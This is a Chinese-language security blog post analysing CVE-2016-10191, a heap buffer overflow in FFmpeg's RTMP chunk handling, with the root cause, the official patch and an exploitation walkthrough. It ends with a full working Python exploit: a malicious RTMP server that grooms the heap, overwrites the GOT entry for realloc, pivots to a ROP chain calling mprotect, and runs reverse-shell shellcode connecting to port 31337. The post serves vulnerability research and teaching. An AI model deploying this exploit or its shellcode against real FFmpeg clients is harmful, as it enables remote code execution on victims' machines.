閱讀410 返回首頁    go 阿裏雲 go 技術社區[雲棲]


CVE-2016-10191 FFmpeg RTMP Heap Buffer Overflow 漏洞分析及利用

作者:棧長@螞蟻金服巴斯光年安全實驗室

一、前言

FFmpeg是一個著名的處理音視頻的開源項目,使用者眾多。2016年末paulcher發現FFmpeg三個堆溢出漏洞分別為CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。網上對CVE-2016-10190已經有了很多分析文章,但是CVE-2016-10191尚未有其他人分析過。本文詳細分析了CVE-2016-10191,是學習漏洞挖掘以及利用的一個非常不錯的案例。

二、漏洞成因分析

在 RTMP協議中,最小的發送數據包的單位是一個 chunk。客戶端和服務器會互相協商好發送給對方的 chunk 的最大大小,初始為 0x80 個字節。一個 RTMP Message 如果超出了Max chunk size, 就需要被拆分成多個 chunk 來發送。在 chunk 的 header 中會帶有 Chunk Stream ID 字段(後麵簡稱 CSID),用於對等端在收到 chunk 的時候重新組裝成一個 Message,相同的CSID 的 chunk 是屬於同一個 Message 的。

在每一個 Chunk 的 Message Header 部分都會有一個 Size 字段存儲該 chunk 所屬的 Message 的大小,按道理如果是同一個 Message 的 chunk 的話,那麼 size 字段都應該是相同的。這次漏洞的起因是對於屬於同一個 Message 的 Chunk的 size 字段沒有校驗前後是否一致,導致寫入堆的時候緩衝區溢出。

漏洞發生在rtmppkt.c文件中的rtmp_packet_read_one_chunk函數中,漏洞相關部分的源代碼如下

    size = size - p->offset;    //size 為 chunk 中提取的 size 字段

    //沒有檢查前後 size 是否一致

toread = FFMIN(size, chunk_size);//控製toread的值

if (ffurl_read_complete(h, p->data + p->offset, toread) != toread) {

ff_rtmp_packet_destroy(p);

return AVERROR(EIO);

    }

在 max chunk size 為0x80的前提下,如果前一個 chunk 的 size 為一個比較下的數值,如0xa0,而後一個 chunk 的 size 為一個非常大的數值,如0x2000, 那麼程序會分配一個0xa0大小的緩衝區用來存儲整個 Message,第一次調用ffurlreadcomplete函數會讀取0x80個字節,放到緩衝區中,而第二次調用的時候也是讀取0x80個字節,這就造成了緩衝區的溢出。

官方修補方案

非常簡單,隻要加入對前後兩個 chunk 的 size 大小是否一致的判斷就行了,如果不一致的話就報錯,並且直接把前一個 chunk 給銷毀掉。

+    if (prev_pkt[channel_id].read && size != prev_pkt[channel_id].size) {

 +        av_log(NULL, AV_LOG_ERROR, "RTMP packet size mismatch %d != %d\n",

 +                size,

 +                prev_pkt[channel_id].size);

 +        ff_rtmp_packet_destroy(&prev_pkt[channel_id]);

 +        prev_pkt[channel_id].read = 0;

+    }

 +

三、漏洞利用環境的搭建

漏洞利用的靶機環境

操作係統:Ubuntu 16.04 x64

FFmpeg版本:3.2.1 (參照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu編譯,需要把官方教程中提及的所有 encoder編譯進去。)

官方的編譯過程由於很多都是靜態編譯,在一定程度上降低了利用難度。

四、漏洞利用腳本的編寫

首先要確定大致的利用思路,由於是堆溢出,而且是任意多個字節的,所以第一步是觀察一下堆上有什麼比較有趣的數據結構可以覆蓋。堆上主要有一個RTMPPacket結構體的數組,每一個RTMPPakcet就對應一個 RTMP Message,RTMPPacket的結構體定義是這樣的:

/**

 * structure for holding RTMP packets

 */

typedefstructRTMPPacket {

intchannel_id; ///< RTMP channel ID (nothing to do with audio/video channels though)

RTMPPacketType type;       ///< packet payload type

uint32_t       timestamp;  ///< packet full timestamp

uint32_t       ts_field;   ///< 24-bit timestamp or increment to the previous one, in milliseconds (latter only for media packets). Clipped to a maximum of 0xFFFFFF, indicating an extended timestamp field.

    uint32_t       extra;      ///< probably an additional channel ID used during streaming data    //這個是 Message Stream ID?

uint8_t        *data;      ///< packet payload

int            size;       ///< packet payload size

int            offset;     ///< amount of data read so far

int            read;       ///< amount read, including headers

} RTMPPacket;

其中有一個很重要的 data 字段就指向這個 Message 的 data buffer,也是分配在堆上。客戶端在收到服務器發來的 RTMP 包的時候會把包的內容存儲在 data buffer 上,所以如果我們控製了RTMPPacket中的 data 指針,就可以做到任意地址寫了。

我們的最終目的是要執行一段shellcode,反彈一個 shell 到我們的惡意服務器上。而要執行shellcode,可以通過mprotect函數將一段內存區域的權限修改為rwx,然後將shellcode部署到這段內存區域內,然後跳轉過去執行。那麼怎麼才能去執行mprotect呢,當然是通過 ROP 了。ROP 可以部署在堆上,然後在程序中尋找合適的 gadget 把棧指針遷移到堆上就行了。

那麼第一步就是如何控製RTMPPacket中的 data 指針了,我們先發一個 chunk 給客戶端,CSID為0x4,程序為調用下麵這個函數在堆上分配一個RTMPPacket[20] 的數組,然後在數組下麵開辟一段buffer存儲Message的 data。

if ((ret = ff_rtmp_check_alloc_array(prev_pkt_ptr, nb_prev_pkt,

channel_id)) < 0)

很容易想到利用堆溢出覆蓋這個RTMPPacket的數組就可以了,但是這時候的堆布局數組是在可溢出的heap chunk的上方,怎麼辦?再發送一個CSID為20的 chunk 給客戶端,ff_rtmp_check_alloc_array會調用realloc函數給數組重新分配更大的空間,然後數組就跑到下麵去了。此時的堆布局如下


然後我們就可以構造數據包來溢出覆蓋數組了,我們在數據包中偽造一個RTMPPacket結構體,然後把數組的第二項覆蓋成我們偽造的結構體。其中 data 字段指向 got 表中的realloc(為什麼覆蓋realloc後麵會提), size 隨意指定一個0x4141, read 字段指定為0x180, 隻要不為0就行了(為0的話會在堆上malloc一塊區域然後把 data 指針指向這塊區域)。

這之後我們再發送 CSID 為2的一個 chunk,chunk 的內容就是要修改的 got 表的內容。這裏我們覆蓋成movrsp, rax這個gadget 的地址,用來遷移棧。接下來我們就把 ROP 部署在堆上。ROP 做了這麼幾件事:

1  調用mprotect使得代碼段可寫

2  把shellcode寫入0x40000起始的位置

3  跳轉到0x400000執行shellcode

發送足夠數量的包部署好 ROP 之後,就要想辦法調用realloc函數了,ffrtmpcheckallocarray函數調用了realloc, 發一個 CSID 為63的過去,就能觸發這個函數調用realloc,在函數調用realloc之前正好能將RTMPPacket數組的起始地址填入rax,然後調用realloc的時候因為 got 表被覆寫了,實際調用了movrsp, rax,然後就成功讓棧指針指向堆上了。之後就可以成功開始執行我們的shellcode了。這個時候整個堆的布局如下:



最後利用成功的截圖如下:

先在本機開啟一個惡意的 RTMP 服務端

然後使用ffmpeg程序去連接上圖的服務端


在另一個終端用nc監聽31337端口



可以看到程序執行了我們的shellcode之後成功連上了31337端口,並反彈了一個 shell。


最後附上完整的exp,根據https://gist.github.com/PaulCher/9acf4dc47c95a8b40b456ba03b05a913修改而來

#!/usr/bin/python

#coding=utf-8

 

importos

import socket

importstruct

from time import sleep

 

frompwn import *

 

bind_ip = '0.0.0.0'

bind_port = 12345

 

elf = ELF('/home/dddong/bin/ffmpeg')

 

gadget = lambda x: next(elf.search(asm(x, arch = 'amd64', os = 'linux')))

 

 

# Gadgets that we need to know inside binary

# to successfully exploit it remotely

add_esp_f8 = 0x00000000006719e3

pop_rdi = gadget('pop rdi; ret')

pop_rsi = gadget('pop rsi; ret')

pop_rdx = gadget('pop rdx; ret')

pop_rax = gadget('pop rax; ret')

mov_rsp_rax = gadget('movrsp, rax; ret')

mov_gadget = gadget('mov qword ptr [rax], rsi ; ret')

 

 

got_realloc = elf.got['realloc']

log.info("got_reallocaddr:%#x" % got_realloc)

plt_mprotect = elf.plt['mprotect']

log.info("plt_mprotectaddr:%#x" % plt_mprotect)

 

shellcode_location = 0x400000

# backconnect 127.0.0.1:31337 x86_64 shellcode

shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";

 

shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode #8字節對齊

 

defcreate_payload(size, data, channel_id):

    """

生成一個RTMP Message

    """

payload = ''

    #Message header的類型為1

payload += p8((1 << 6) + channel_id) # (hdr<< 6) &channel_id;

payload += '\0\0\0' # ts_field

payload += p24(size) # size

payload += p8(0x00) # Message type

 

payload += data # data

return payload

 

defcreate_rtmp_packet(channel_id, write_location, size=0x4141):

    """

創造一個RTMPPacket結構體

    """

data = ''

data += p32(channel_id) # channel_id

data += p32(0) # type

data += p32(0) # timestamp

data += p32(0) # ts_field

data += p64(0) # extra

 

data += p64(write_location) # write_location - data

 

data += p32(size) # size

data += p32(0) # offset

data += p64(0x180) # read

return data

 

def p24(data):

packed_data = p32(data, endian='big')[1:]

assert(len(packed_data) == 3)

returnpacked_data

 

 

defhandle_request(client_socket):

    v = client_socket.recv(1)   #接收握手包C0

client_socket.send(p8(3))   #發送握手包S0, 版本號

 

payload = ''

    payload += '\x00' * 4   #好像是 timestamp,沒什麼卵用

    payload += '\x00' * 4   #這四個字節是 Server 的版本號,這裏設置為全0,防止客戶端走校驗的流程

    payload += os.urandom(1536 - 8) #剩下的都隨機生成

client_socket.send(payload) #發送握手包S1

client_socket.send(payload) #發送握手包S2

 

client_socket.recv(1536) #接收握手包C1

client_socket.recv(1536) #接收握手包C2

    #以上就是整個握手過程

 

print 'sending payload'

payload = create_payload(0xa0, 'U' * 0x80, 4)

client_socket.send(payload)

 

payload = create_payload(0xa0, 'A' * 0x80, 20)

client_socket.send(payload)

 

data = ''

data += 'U' * 0x20 # the rest of chunk

data += p64(0)     # zerobytes

    data += p64(0x6a1) # real size of chunk, 這一行size 可能需要根據實際情況更改

data += p64(add_esp_f8) # trampoline to rop

    data += 'Y' * (0x30 - 8) # channel_zero, 填充RTMPPacket[0]

    data += 'Y' * 0x20 # channel_one, 填充部分RTMPPacket[1]

 

payload = create_payload(0x2000, data, 4)

client_socket.send(payload) #到這一步程序並沒有崩潰

data = ''

data += 'I' * 0x10 # fill the previous RTMPPacket[1]

    #data += p64(add_rsp_a8)

 

data += create_rtmp_packet(2, got_realloc)

    data += 'D' * (0x80 - len(data)) #填充到0x80個字節

 

payload = create_payload(0x1800, data, 4)

client_socket.send(payload)

 

    #把 got 表中av_realloc改寫

jmp_to_rop = ''

jmp_to_rop += p64(mov_rsp_rax)

jmp_to_rop += 'A' * (0x80 - len(jmp_to_rop))

payload = create_payload(0x1800, jmp_to_rop, 2)

client_socket.send(payload)

 

rop = ''

rop += 'AAAAAAAA' * 6 # padding

 

rop += p64(pop_rdi)

rop += p64(shellcode_location) #shellcode不放在堆上是因為難以 leak 堆地址?

rop += p64(pop_rsi)

rop += p64(0x1000)

rop += p64(pop_rdx)

rop += p64(7)

rop += p64(plt_mprotect)

    #mprotect(shellcode_location, 0x1000, 7)

 

write_location = shellcode_location

shellslices = map(''.join, zip(*[iter(shellcode)]*8)) #將shellcode以8個字節為1組打包

 

    for shell in shellslices:   #把shellcode通過rop的方式寫入

rop += p64(pop_rax)

rop += p64(write_location)

rop += p64(pop_rsi)

rop += shell

rop += p64(mov_gadget)

 

write_location += 8

 

rop += p64(shellcode_location)

rop += 'X' * (0x80 - (len(rop) % 0x80)) #0x80個字節對齊

 

rop_slices = map(''.join, zip(*[iter(rop)]*0x80)) #將rop以0x80個字節為1組打包

for data in rop_slices:

payload = create_payload(0x2000, data, 4)

client_socket.send(payload)

 

    # does not matter what data to send because we try to trigger

    # av_realloc function inside ff_rtmp_check_alloc_array

    # so that av_realloc(our_data) shall be called

payload = create_payload(1, 'A', 63)

client_socket.send(payload)

 

sleep(3)

print 'sending done'

    #raw_input("wait for user interaction.")

client_socket.close()

 

if __name__ == '__main__':

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

 

s.bind((bind_ip, bind_port))

s.listen(5)

 

while True:

print 'Waiting for new client...'

client_socket, addr = s.accept()

handle_request(client_socket)

五、參考資料

1  漏洞詳情:https://www.openwall.com/lists/oss-security/2017/01/31/12

2  官方修複:https://github.com/FFmpeg/FFmpeg/commit/7d57ca4d9a75562fa32e40766211de150f8b3ee7

3  漏洞作者提供的exp:https://gist.github.com/PaulCher/9acf4dc47c95a8b40b456ba03b05a913

4  RTMP 介紹:https://mingyangshang.github.io/2016/03/06/RTMP%E5%8D%8F%E8%AE%AE/

5  RTMP 介紹:https://www.jianshu.com/p/00aceabce944

官方編譯FFmpeg的教程:https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu


-------------------------------

更多安全類熱點信息和知識分享,請關注阿裏聚安全的官方博客

最後更新:2017-09-20 15:33:06

  上一篇:go  2017杭州雲棲大會—移動雲專場【贈票】
  下一篇:go  《VMware Virtual SAN權威指南》一3.9.1 vSphere HA通信網絡